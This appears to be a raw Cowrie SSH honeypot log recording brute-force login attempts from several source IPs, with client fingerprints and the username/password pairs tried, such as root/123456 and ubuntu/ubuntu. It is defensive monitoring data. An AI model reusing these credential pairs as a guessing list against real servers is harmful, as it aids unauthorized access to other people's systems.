{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:13.282465Z","src_ip":"2.57.122.208","session":"c52404a74618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:14.509452Z","src_ip":"2.57.122.208","session":"c52404a74618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":55734,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4fe5ff2d447","protocol":"ssh","message":"New connection: 157.10.160.98:55734 (159.203.135.109:22) [session: e4fe5ff2d447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:26.774646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:26.778120Z","src_ip":"157.10.160.98","session":"e4fe5ff2d447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:27.025873Z","src_ip":"157.10.160.98","session":"e4fe5ff2d447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"paula","password":"Paula123","message":"login attempt [paula/Paula123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:28.051875Z","src_ip":"157.10.160.98","session":"e4fe5ff2d447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:29.302844Z","src_ip":"157.10.160.98","session":"e4fe5ff2d447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":43512,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f6c73c995da","protocol":"ssh","message":"New connection: 92.118.39.92:43512 (159.203.135.109:22) [session: 1f6c73c995da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:36:58.334340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:36:58.338929Z","src_ip":"92.118.39.92","session":"1f6c73c995da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:36:58.473912Z","src_ip":"92.118.39.92","session":"1f6c73c995da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"degen","password":"degen","message":"login attempt [degen/degen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:36:58.776341Z","src_ip":"92.118.39.92","session":"1f6c73c995da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:36:59.878050Z","src_ip":"92.118.39.92","session":"1f6c73c995da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":56436,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f866242d158","protocol":"ssh","message":"New connection: 157.10.160.98:56436 (159.203.135.109:22) [session: 8f866242d158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:30.029146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:30.034271Z","src_ip":"157.10.160.98","session":"8f866242d158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:30.277356Z","src_ip":"157.10.160.98","session":"8f866242d158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"venkat","password":"venkatpass","message":"login attempt [venkat/venkatpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:31.328205Z","src_ip":"157.10.160.98","session":"8f866242d158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:32.571894Z","src_ip":"157.10.160.98","session":"8f866242d158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43508,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e6438cdc785","protocol":"ssh","message":"New connection: 2.57.122.208:43508 (159.203.135.109:22) [session: 6e6438cdc785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:34.907937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:35.008080Z","src_ip":"2.57.122.208","session":"6e6438cdc785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:35.052241Z","src_ip":"2.57.122.208","session":"6e6438cdc785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:35.609255Z","src_ip":"2.57.122.208","session":"6e6438cdc785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:36.783088Z","src_ip":"2.57.122.208","session":"6e6438cdc785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39758,"dst_ip":"10.17.0.5","dst_port":22,"session":"e23fb7614608","protocol":"ssh","message":"New connection: 195.178.110.218:39758 (10.17.0.5:22) [session: e23fb7614608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:56.302320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:56.306976Z","src_ip":"195.178.110.218","session":"e23fb7614608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:56.388306Z","src_ip":"195.178.110.218","session":"e23fb7614608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:56.627464Z","src_ip":"195.178.110.218","session":"e23fb7614608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:37:57.709246Z","src_ip":"195.178.110.218","session":"e23fb7614608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.38","src_port":32472,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecb5ba87b57d","protocol":"ssh","message":"New connection: 64.62.156.38:32472 (10.17.0.5:22) [session: ecb5ba87b57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:38:01.107657Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:38:01.114061Z","src_ip":"64.62.156.38","session":"ecb5ba87b57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:38:01.117912Z","src_ip":"64.62.156.38","session":"ecb5ba87b57d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.184.1","src_port":44944,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee721466d764","protocol":"ssh","message":"New connection: 143.198.184.1:44944 (10.17.0.5:22) [session: ee721466d764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:38:59.696312Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:38:59.701793Z","src_ip":"143.198.184.1","session":"ee721466d764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.184.1","src_port":44958,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f6aa0c9a0e6","protocol":"ssh","message":"New connection: 143.198.184.1:44958 (10.17.0.5:22) [session: 8f6aa0c9a0e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:38:59.706050Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:38:59.709023Z","src_ip":"143.198.184.1","session":"8f6aa0c9a0e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:38:59.711677Z","src_ip":"143.198.184.1","session":"8f6aa0c9a0e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":58942,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e45b490339f","protocol":"ssh","message":"New connection: 92.118.39.92:58942 (159.203.135.109:22) [session: 5e45b490339f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:13.353371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:13.358450Z","src_ip":"92.118.39.92","session":"5e45b490339f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:13.475940Z","src_ip":"92.118.39.92","session":"5e45b490339f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:13.781187Z","src_ip":"92.118.39.92","session":"5e45b490339f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:14.885896Z","src_ip":"92.118.39.92","session":"5e45b490339f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":49774,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd22fa4226f5","protocol":"ssh","message":"New connection: 157.10.160.98:49774 (159.203.135.109:22) [session: cd22fa4226f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:30.728193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:30.732508Z","src_ip":"157.10.160.98","session":"cd22fa4226f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:30.978516Z","src_ip":"157.10.160.98","session":"cd22fa4226f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50076,"dst_ip":"10.17.0.5","dst_port":22,"session":"876f122b0b7e","protocol":"ssh","message":"New connection: 195.178.110.218:50076 (10.17.0.5:22) [session: 876f122b0b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:31.679970Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:31.761459Z","src_ip":"195.178.110.218","session":"876f122b0b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloudera","password":"123456","message":"login attempt [cloudera/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:31.994743Z","src_ip":"157.10.160.98","session":"cd22fa4226f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:33.243559Z","src_ip":"157.10.160.98","session":"cd22fa4226f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48082,"dst_ip":"159.203.135.109","dst_port":22,"session":"4852222b25b6","protocol":"ssh","message":"New connection: 2.57.122.208:48082 (159.203.135.109:22) [session: 4852222b25b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:50.641401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:50.708182Z","src_ip":"2.57.122.208","session":"4852222b25b6","protocol":"ssh"}
